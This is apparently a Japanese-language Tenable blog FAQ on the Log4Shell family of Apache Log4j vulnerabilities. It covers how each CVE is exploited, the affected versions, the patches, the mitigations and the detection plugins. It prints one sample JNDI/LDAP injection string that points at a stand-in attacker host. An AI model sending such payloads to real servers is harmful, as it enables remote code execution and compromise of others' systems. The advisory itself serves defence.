Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Tenable ブログ

ブログ通知を受信する

CVE-2021-44228、CVE-2021-45046、CVE-2021-4104: Log4Shell 関連の脆弱性についてよくある質問

Log4Shell 関連の脆弱性についてのよくある質問をここにまとめました。

12/18 更新情報: Apache は Log4j バージョン 2.17.0 をリリースし、デフォルト以外の構成で悪用可能なサービス拒否の脆弱性である CVE-2021-45105 を発表しました。このブログは、この追加情報で更新されています。

12/20 更新情報: Tenable は、パッチを適用できないシステムに、推奨される緩和策が適切に導入されているかを検出するため、Windows と Linux の監査をリリースしました。詳細については、以下をご覧ください。

1/4 更新情報: Apache は、新しい脆弱性 CVE-2021-44832 に対処するため、Log4j 2.17.1、2.12.4、2.3.2 をリリースしました。詳細については、Tenable Community のこの投稿を参照してください。

背景

12 月 9 日に Log4Shell として知られる Apache Log4j の脆弱性が発見された後、セキュリティレスポンスチームは Log4Shell と Log4j で新しく公開された脆弱性に関するよくある質問のいくつかに回答するため、次のブログ投稿をまとめました。

よくある質問

Log4j とは何ですか?

Log4j は、Apache Logging Services に含まれている広く使用されている Java のロギングライブラリです。 多くの場合、デバッグ目的で、アプリケーションまたはサービスからのメッセージをログに記録するために使われています。

CVE-2021-44228 とは何ですか?

CVE-2021-44228 は、Apache Log4j 2.0~2.14.1 におけるリモートコード実行 (RCE) の脆弱性です。セキュリティ研究者によって Log4Shell と名付けられています。

CVE-2021-44228 はどのように悪用されますか?

認証されていない攻撃者は、脆弱性のあるバージョンの log4j を実行しているサーバーに巧妙に作りこまれたリクエストをリモートから送信することにより、この​脆弱性を悪用することができます。これは、エクスプロイト文字列をウェブサイトのテキストフィールドに送信するか、脆弱なサーバー宛ての HTTP ヘッダーの一部としてエクスプロイト文字列を含めることで実現できます。脆弱性のあるサーバーが Log4j を使用してリクエストをログに記録する場合、攻撃者は LDAP (Lightweight Directory Access Protocol) などのサービスの 1 つを使用し、Java Naming and Directory Interface(JNDI)を介して、攻撃者が制御するサーバーから悪意のあるペイロードをリクエストします。

エクスプロイトの一例は次のようになります。

${jndi:ldap://attackersite.com/exploit.class}

脆弱性が悪用されるとどうなりますか?

脆弱な log4j ライブラリは、攻撃者が制御するサーバーから悪意のあるペイロードをリクエストして実行します。

この脆弱性は攻撃者にすでに悪用されていますか?

攻撃者は次のようなさまざまな方法で Log4Shell をもう使い始めています。

  • 仮想通貨マイニングソフトウェア (クリプトマイナー)
  • 分散型サービス拒否 (DDoS) ボットネット
  • ランサムウェア

国家支援を受ける集団初期アクセスブローカーがすでにこの欠陥を利用し始めているという報告があります。つまり、Advanced Persistent Threat (高度な持続型脅威) グループとランサムウェアのアフィリエイトが、近い将来この欠陥を利用する可能性が高いと予想されます。

Log4Shell がこんなに騒ぎになったのはなぜですか?

Log4j は、ログ記録ライブラリとして、さまざまな製品やサービスで広く使用されているため、広範囲​なアタックサーフェスを作り出しているからです。そして、Log4Shell の悪用は簡単で、すぐに入手できる GitHub の概念実証コードがあります。 さらに、多くの組織は、使用する製品やサービス内でこのライブラリがどれほど普及しているかを把握していないため、長期的な影響を与える可能性があります。

Log4Shell は Log4j 2.15.0 で対処できますか?

いいえ。Apache は Log4Shell の不完全な修正に対処するために Log4j 2.16.0 をリリースしました。Apache は、この不完全な修正に新しい CVE である CVE-2021-45046 を割り当てました。

CVE-2021-45046とは何ですか?

CVE-2021-45046 は、もともと Apache Log4j 2.0~2.15.0 でサービス拒否の脆弱性として報告されていましたが、その後 RCE に格上げされました。Context Lookup (例: $${ctx:loginId}) でデフォルト以外の構成を使用する場合、攻撃者が、JNDI Lookup で不正な入力データを作成することで、Log4j 2 を使用して脆弱なサーバーでサービス拒否 (DoS) 状態を引き起こしたり、RCE を実行したりすることが可能です。

Log4Shell の緩和策は CVE-2021-45046 に適用されますか?

いいえ。Apache によると、formatMsgNoLookups を true に設定するという CVE-2021-44228 へのこれまでの緩和策は CVE-2021-45046 にはまったく不十分です。そのガイダンスでは、メッセージルックアップが起こり得る他のコードパスの原因を説明できなかったからです。そのため、Apache は、2.16.0 または 2.12.2 (Java 7 の場合) 以降の安全なバージョンの Log4j にアップグレードするか、アップグレードが不可能な場合は、JndiLookup クラスパスを削除することを推奨しています。

Log4j 2.16.0 のリリースにより何が変わりましたか?

リリース情報によると、Apache はメッセージルックアップを削除し、JNDI 機能をデフォルトで無効にすることで、Log4j を強化しました。

私の組織では Java7 を使用しているため、Log4j 2.16.0 にアップグレードできません。どうしたらよいですか?

Apache は、Java7 の CVE-2021-45046 に対処するため Log4j 2.12.2 をリリースしました。すぐにパッチを適用できない場合は、クラスパスから JndiLookup クラスを削除することを推奨しています。このクラスパスを削除する方法は、Apache のドキュメントに記載されています。

CVE-2021-45105 とは何ですか?

CVE-2021-45105 は、Apache Log4j で新たにリリースされたサービス拒否 (DoS) の脆弱性で、デフォルト以外の構成で悪用される可能性があります。攻撃者は、再帰的なルックアップを含む細工されたリクエストを送信することで、サービス拒否 (DoS) 状態を発生させます。この脆弱性に対処するために、Apache は Log4j バージョン 2.17.0 をリリースしました。また、すぐにアップグレードできない組織に対しては、緩和オプ​ションも提供しています。新しい開発が起こると、緩和策が随時アップデートされる可能性があるため、Apache のセキュリティアドバイザリページを頻繁に確認することをお勧めします。

Log4j 1.x は脆弱ですか?

Log4Shell を取り巻く情報はまだ続いています。このブログが公開された時点では、Apache は、Log4j がデフォルト構成の一部ではない JMSAppender 機能を有効にしている場合、Log4j 1.2 も同様に脆弱であると述べていますが、CVE-2021-44228 に対しては特に脆弱ではありません。Log4j 1.2 のこの脆弱性には、CVE-2021-4104 が割り当てられています。

Log4j1.2 で適用できるパッチはありますか?

いいえ。Log4j 1.x 系はサポートがすでに終了しているため、セキュリティ更新プログラムを受け取りません。ユーザーは、Log4j 2.12.2 (Java 7 の場合) または 2.16.0 以降にアップグレードするように指示されます。

CVE-2021-4104 に対処する方法を教えてください。

CVE-2021-4104 の悪用を防ぐためのいくつかの緩和オプ​ションを紹介します。

  • Log4j 構成で JMSAppender を使用しない
  • JMSAppender クラスファイル (org/apache/log4j/net/JMSAppender.class) を削除する
  • 攻撃者が Log4j 構成を変更できないように、OS ユーザーアクセスを制限する

これらすべての脆弱性の現状を教えてください。

12 月 18 日の時点でわかっていることは次のとおりです。

  • Log4j に影響を与える脆弱性に対して 4 つの CVE が割り当てられています
CVE 脆弱性のタイプ 影響を受ける Log4j バージョン デフォルト以外の構成
CVE-2021-44228 RCE 2.0~2.14.1 阻止
CVE-2021-45046 サービス拒否 (DoS) と RCE 2.0~2.15.0
CVE-2021-4104 RCE 1.2*
CVE-2021-45105 サービス拒否 (DoS) 2.0-beta9~2.16.0
  • Log4j バージョン 2.0~2.14.1 がアプリケーションやサービスにライブラリとして含まれている場合、CVE-2021-44228 はすぐに悪用される恐れがあります
  • CVE-2021-45046、CVE-2021-4104、CVE-2021-45105 は、デフォルト以外の構成を使用している場合、悪用される恐れがあります
  • Log4j 1.x 系はすでにサポートが終了しているため、CVE-2021-4104 にはパッチが適用されません

これらの脆弱性に対処する Log4j の修正バージョンは何ですか?

Log4j リリース Java バージョン リリースの有無
2.17.0 Java 8
2.16.0 Java 8
2.12.2 Java 7
1.2 - いいえ (サポート終了)

これらの脆弱性が悪用される可能性はどのくらいありますか?

次の表は、これらの脆弱性が悪用される可能性と、すでに悪用されているかどうかをまとめたものです。

CVE 悪用の可能性 悪用の有無
CVE-2021-44228 高い
CVE-2021-45046 低い 阻止
CVE-2021-4104 低い 阻止
CVE-2021-45105 低い 阻止

Tenable は Log4j の脆弱性に対して脆弱ですか?

Tenable CSO、Bon Huber による完全な声明はこちらから確認できます。

Log4j のこれらの脆弱性を検出する方法を教えてください。

Tenable は当社製品用の多数のプラグイン、スキャンテンプレート、ダッシュボード (Tenable.ioTenable.sc) をリリースしました。

  • リリースされたプラグインの最新情報については、Tenable Community のこの投稿を参照してください。
  • リリースされたスキャンテンプレートに関する最新情報については、Tenable Community のこの投稿を参照してください。

これらの脆弱性にすぐにパッチを適用することができないお客様は、CVE-2021-44228 / CVE-2021-45046 監査を使用して、Log4j の悪用を緩和する回避策がシステムに正しく適用されているかどうかを検出できます。これらの監査の詳細については、こちらをご覧ください。

CVE-2021-44832 とは何ですか?

CVE-2021-44832 は、Log4j で発見された新しい脆弱性です。最近 Apache によってパッチが適用されました。悪用するには前提条件が必要なため、この欠陥の悪用は極めて低くなっています。この脆弱性の詳細については、Tenable Community のこの投稿を参照してください。

詳細情報

Tenable コミュニティの Tenable セキュリティレスポンスチームに参加してみませんか。

最新のアタックサーフェスを総合的に管理する Tenable、初の Cyber Exposure Platform の詳細情報をご覧ください。

今すぐ Tenable.io Vulnerability Management の 30 日間無料トライアルをお試しいただけます。

関連記事

最新のサイバー攻撃に対する不安はないですか?

下にメールアドレスをご記入ください。最新の情報が確認できる Cyber Exposure アラートがインボックスに送信されます。

tenable.io

30 日間無料


最新のクラウドベースの脆弱性管理プラットフォームにフルアクセスし、これまでにない精度で全資産の表示および追跡が可能です。

tenable.io 購入

最新のクラウドベースの脆弱性管理プラットフォームの全機能にアクセスし、これまでにない精度で全ての資産を確認し、追跡しましょう。 年間サブスクリプションをご購入ください。

65 資産

サブスクリプションオプションを選択してください。

今すぐ購入

Nessus Professional を無料で試す

7 日間無料

Nessus® は、最も包括的な脆弱性スキャナーです。Nessus Professional は脆弱性のスキャンプロセスを自動化し、コンプライアンスサイクルを短縮し、お客様の IT チームが専念して活動できるようにします。

Nessus Professionalを購入する

Nessus® は、最も包括的な脆弱性スキャナーです。Nessus Professional は脆弱性のスキャンプロセスを自動化し、コンプライアンスサイクルを短縮し、お客様の IT チームが専念して活動できるようにします。

複数年ライセンスをご購入いただくと割引が適用されます。拡張サポートを追加すると、24 時間x365 日、電話、コミュニティ、チャットサポートにアクセスできます。

ライセンスをお選びください

複数年ライセンスをご購入いただくと割引が適用されます。

サポートとトレーニングを追加

Tenable.io を 30 日間無料でお試しください

最新のクラウドベースの脆弱性管理プラットフォームにフルアクセスし、これまでにない精度で全資産の表示および追跡が可能です。

Tenable.io を購入する

最新のクラウドベースの脆弱性管理プラットフォームの全機能にアクセスし、これまでにない精度で全ての資産を確認し、追跡しましょう。 年間サブスクリプションをご購入ください。

65 資産

サブスクリプションオプションを選択してください。

今すぐ購入

Tenable.io Web Application Scanningを試す

30 日間無料

Tenable.ioプラットフォームの一部として最新のアプリケーション用に設計された、最新のウエブアプリケーションのスキャンサービスの全機能にアクセス可能です。手作業による労力や重大なウエブアプリケーションの中断なしに、脆弱性のオンラインポートフォリオを安全に高精度でスキャンします。 今すぐサインアップしてください。

Tenable.io Web Application Scanningを購入する

最新のクラウドベースの脆弱性管理プラットフォームの全機能にアクセスし、これまでにない精度で全ての資産を確認し、追跡しましょう。 年間サブスクリプションをご購入ください。

5 FQDN

3,578ドル

今すぐ購入

Tenable.io Container Securityを試す

30 日間無料

脆弱性管理プラットフォームに統合された唯一のコンテナセキュリティ製品の全機能にアクセス可能です。コンテナイメージの脆弱性、マルウェア、ポリシー違反を監視継続的インテグレーション/継続的デリバリー(CI / CD)システムと統合し、DevOps プラクティス、セキュリティ強化、および企業のポリシーコンプライアンスをサポートします。

Tenable.io Container Securityを購入する

Tenable.ioのContainer Securityは、ビルドプロセスと統合することにより、コンテナイメージのセキュリティ(脆弱性、マルウェア、ポリシー違反など)を可視化し、シームレスかつ安全なDevOpsプロセスを実現します。

Tenable Lumin を試用する

30 日間無料

Tenable Lumin を使用して、Cyber Exposure を可視化および調査し、リスクの軽減を追跡し、競合他社に対してベンチマークしましょう。

Tenable Lumin を購入する

Tenableの担当者にお問い合わせいただき、組織全体に対するインサイトを得て、サイバーリスクを管理する上で Lumin がいかに役立つかについて、Tenable の営業担当者までお問い合わせください。

Tenable.cs を試してみる

30 日間無料で Tenable.cs にフルアクセス。クラウドインフラの設定ミスを、ソフトウェア開発ライフサイクルの設計、構築、実行時を通じて検出して修正できます。

Tenable.cs を購入する

クラウドセキュリティについてもっと詳しく、コードからクラウドまでの各段階でセキュリティを確保できるか、営業担当にお問い合わせください。